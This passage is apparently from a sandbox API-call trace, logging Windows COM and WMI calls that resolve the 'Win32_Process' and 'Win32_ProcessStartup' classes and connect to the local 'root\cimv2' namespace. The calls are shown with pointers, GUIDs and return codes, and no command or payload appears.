pToken=0x1b2fc830) returned 0x0 [0072.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0072.672] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x2 [0072.672] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x1 [0072.672] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0072.672] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0072.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x116a640) returned 0x0 [0072.672] WbemDefPath:IUnknown:AddRef (This=0x116a640) returned 0x3 [0072.672] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x2 [0072.672] WbemDefPath:IWbemPath:SetText (This=0x116a640, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0072.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a640, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.672] WbemDefPath:IWbemPath:GetText (in: This=0x116a640, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0072.672] WbemDefPath:IWbemPath:GetText (in: This=0x116a640, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0072.672] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a640, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a640, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.672] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a640, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.672] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0072.673] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0072.673] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0072.673] IUnknown:Release (This=0x111f638) returned 0x1 [0072.675] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11ae500) returned 0x0 [0072.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ae500, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0072.675] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ae500, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x116a580) returned 0x0 [0072.675] WbemDefPath:IUnknown:Release (This=0x11ae500) returned 0x0 [0072.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x116a580) returned 0x0 [0072.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0072.675] WbemDefPath:IUnknown:AddRef (This=0x116a580) returned 0x3 [0072.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0072.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0072.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11ae440) returned 0x0 [0072.676] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.676] WbemDefPath:IUnknown:Release (This=0x11ae440) returned 0x3 [0072.676] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0072.676] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0072.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0072.676] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x2 [0072.676] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x1 [0072.676] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0072.676] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0072.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x116a580) returned 0x0 [0072.676] WbemDefPath:IUnknown:AddRef (This=0x116a580) returned 0x3 [0072.676] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x2 [0072.676] WbemDefPath:IWbemPath:SetText (This=0x116a580, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0072.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a580, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.676] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0072.676] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a580, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a580, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a580, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a580, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0072.677] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.677] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0072.677] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0072.677] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0072.677] IUnknown:Release (This=0x111f638) returned 0x1 [0072.679] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11ade60) returned 0x0 [0072.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ade60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0072.679] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ade60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x116a400) returned 0x0 [0072.679] WbemDefPath:IUnknown:Release (This=0x11ade60) returned 0x0 [0072.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x116a400) returned 0x0 [0072.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0072.680] WbemDefPath:IUnknown:AddRef (This=0x116a400) returned 0x3 [0072.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0072.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0072.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11adf00) returned 0x0 [0072.680] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11adf00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.680] WbemDefPath:IUnknown:Release (This=0x11adf00) returned 0x3 [0072.680] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0072.680] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0072.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0072.680] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x2 [0072.680] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x1 [0072.680] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0072.680] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0072.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x116a400) returned 0x0 [0072.680] WbemDefPath:IUnknown:AddRef (This=0x116a400) returned 0x3 [0072.681] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x2 [0072.681] WbemDefPath:IWbemPath:SetText (This=0x116a400, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0072.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a400, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.681] WbemDefPath:IWbemPath:GetText (in: This=0x116a400, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0072.681] WbemDefPath:IWbemPath:GetText (in: This=0x116a400, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.681] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0072.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0072.681] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0072.681] IUnknown:Release (This=0x111f638) returned 0x1 [0072.682] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11ae100) returned 0x0 [0072.682] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0072.682] WbemLocator:IClassFactory:CreateInstance (in: This=0x11ae100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11ae280) returned 0x0 [0072.682] WbemLocator:IUnknown:Release (This=0x11ae100) returned 0x0 [0072.683] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11ae280) returned 0x0 [0072.683] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0072.683] WbemLocator:IUnknown:AddRef (This=0x11ae280) returned 0x3 [0072.683] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0072.683] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0072.683] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0072.683] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0072.683] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0072.683] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0072.683] WbemLocator:IUnknown:Release (This=0x11ae280) returned 0x2 [0072.683] WbemLocator:IUnknown:Release (This=0x11ae280) returned 0x1 [0072.683] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0072.683] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0072.684] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae280, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11ae280) returned 0x0 [0072.684] WbemLocator:IUnknown:AddRef (This=0x11ae280) returned 0x3 [0072.684] WbemLocator:IUnknown:Release (This=0x11ae280) returned 0x2 [0072.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a400, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.684] WbemDefPath:IWbemPath:GetText (in: This=0x116a400, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0072.684] WbemDefPath:IWbemPath:GetText (in: This=0x116a400, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.684] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11ae2a0) returned 0x0 [0072.684] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11ae2a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11304c0) returned 0x0 [0073.000] WbemLocator:IUnknown:QueryInterface (in: This=0x11304c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0020) returned 0x0 [0073.000] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0020, pProxy=0x11304c0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0073.000] WbemLocator:IUnknown:Release (This=0x11e0020) returned 0x1 [0073.000] WbemLocator:IUnknown:QueryInterface (in: This=0x11304c0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0060) returned 0x0 [0073.000] WbemLocator:IUnknown:QueryInterface (in: This=0x11304c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0020) returned 0x0 [0073.000] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0020, pProxy=0x11304c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0073.000] WbemLocator:IUnknown:Release (This=0x11e0020) returned 0x2 [0073.000] WbemLocator:IUnknown:Release (This=0x11e0060) returned 0x1 [0073.000] CoTaskMemFree (pv=0x11b1480) [0073.001] WbemLocator:IUnknown:AddRef (This=0x11304c0) returned 0x2 [0073.001] WbemLocator:IUnknown:Release (This=0x11ae2a0) returned 0x0 [0073.001] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0073.001] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0073.001] WbemLocator:IUnknown:QueryInterface (in: This=0x11304c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 